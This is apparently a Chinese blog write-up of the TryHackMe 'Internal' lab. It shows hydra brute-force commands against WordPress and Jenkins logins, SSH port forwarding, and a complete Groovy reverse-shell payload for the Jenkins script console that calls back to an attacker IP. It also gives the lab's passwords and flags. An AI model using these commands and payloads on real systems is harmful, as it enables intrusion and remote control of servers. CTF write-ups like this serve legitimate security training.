TryHackMe-进攻性渗透测试-09_Internal

Internal

工作范围

客户要求工程师对提供的虚拟环境进行外部、Web 应用程序和内部评估。客户要求提供有关评估的最少信息,希望从恶意行为者的眼睛进行参与(黑盒渗透测试)。客户端要求您保护两个标志(未提供位置)作为利用证明:

user.txt

root.txt

此外,客户还提供了以下范围津贴:

确保修改主机文件以反映内部文件.thm
此参与中允许使用任何工具或技术
找到并记下发现的所有漏洞
将发现的标志提交到仪表板
只有分配给计算机的 IP 地址在范围内
(角色扮演关闭)

我鼓励您将此挑战作为实际的渗透测试。考虑撰写一份报告,包括执行摘要、漏洞和利用评估以及补救建议,因为这将有利于您准备 eLearnsecurity eCPPT 或作为该领域的渗透测试人员的职业。

注意 - 这个房间可以在没有Metasploit的情况下完成


循例 nmap 扫,开了80和22

进web看看,apache默认页面,再用gobuster扫一波目录:

/blog                 (Status: 301) [Size: 313] [--> http://10.10.193.174/blog/]
/index.html           (Status: 200) [Size: 10918]
/javascript           (Status: 301) [Size: 319] [--> http://10.10.193.174/javascript/]
/phpmyadmin           (Status: 301) [Size: 319] [--> http://10.10.193.174/phpmyadmin/]
/server-status        (Status: 403) [Size: 278]
/wordpress            (Status: 301) [Size: 318] [--> http://10.10.193.174/wordpress/]

进/blog页面查看到许多域名

internal.thm

将该域名添加进/etc/hosts

收集到了一些版本信息,但是似乎都没有相关的cve

在/blog下发现了/wp-login.php,是一个wp的登录页面,尝试弱口令,失败

但是,回显信息:

The password you entered for the username admin is incorrect.

没错,因此我们得知了admin这个账号是存在的,那么我们尝试爆破它

burp用腻了,换种工具玩玩,没错,它就是我们熟悉的hydra

┌──(root💀kali)-[/home/sugobet]
└─# hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.193.174 http-post-form '/blog/wp-login.php:log=admin&log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Finternal.thm%2Fblog%2Fwp-admin%2F&testcookie=1:Error'

刷了会抖音,爆出来了

[80][http-post-form] host: 10.10.193.174   login: admin   password: my2boys

后台中的添加页面处存在图片上传点,但是似乎有白名单,尝试绕过了半天,都失败了。

之前做过几道cms的题,但是他们都是通过修改网站模板的php页面源代码以实现reverse shell的

所以我尝试找找看wordpress有没有类似的地方

确实存在,在后台的:

Appearance -> Theme Editor

随便找个页面将其修改成reverse shell可用的payload

我们选择修改index.php

然后nc开启监听,然后访问/blog/index.php

成功getshell

Ncat: Connection from 10.10.193.174.
Ncat: Connection from 10.10.193.174:54124.
bash: cannot set terminal process group (1096): Inappropriate ioctl for device
bash: no job control in this shell
www-data@internal:/var/www/html/wordpress$ whoami
whoami
www-data

稍微升级shell

python3 -c "import pty;pty.spawn('/bin/bash')"

通过uname -a和cat /proc/version,我们得知其内核版本和ubuntu版本,手上捏着好几个适用的CVE,我尽量克制一下,先不用


当前的目录下存在wp-config.php,里面包含了数据库的账户和密码,但是数据库也没啥有用的东西

经过一番搜寻,在/opt下有一个wp-save.txt:

Bill,

Aubreanna needed these credentials for something later.  Let her know you have them and where they are.

aubreanna:bubb13guM!@#123
┌──(root💀kali)-[/home/sugobet]
└─# ssh aubreanna@10.10.193.174

成功登入

aubreanna@internal:~$ cat ./user.txt
THM{int3rna1_fl4g_1}

并发现:

aubreanna@internal:~$ cat ./jenkins.txt 
Internal Jenkins service is running on 172.17.0.2:8080

使用ss -tlpn确定该服务正在运行于内网中

使用ssh转发流量到目标8080端口:

ssh aubreanna@10.10.193.174 -L 8888:172.17.0.2:8080

然后在攻击机上使用浏览器打开:

http://127.0.0.1:8888/

熟悉的登录页面,因为前几道题里面做过关于Jenkins的

弱口令失败,尝试爆破admin

┌──(root💀kali)-[/home/sugobet]
└─# hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 8888 http-post-form '/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid'
[8888][http-post-form] host: 127.0.0.1   login: admin   password: spongebob

很好,我们是对的

按照经验,我们在后台的:

Manage Jenkins -> script console

这里能够执行java代码:

"whoami".execute().text

成功,现在尝试reverse shell

Groovy payload:

String host="10.11.17.14";
int port=8889;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

成功getshell

ls -la /opt
total 12
drwxr-xr-x 1 root root 4096 Aug  3  2020 .
drwxr-xr-x 1 root root 4096 Aug  3  2020 ..
-rw-r--r-- 1 root root  204 Aug  3  2020 note.txt
cat /opt/note.txt
Aubreanna,

Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you 
need access to the root user account.

root:tr0ub13guM!@#123
aubreanna@internal:~$ su root
Password: 
root@internal:/home/aubreanna# cat /root/root.txt
THM{d0ck3r_d3str0y3r}

这出题人,这就没意思了,直接给root密码,好歹也出些PE的点

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sugobet

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值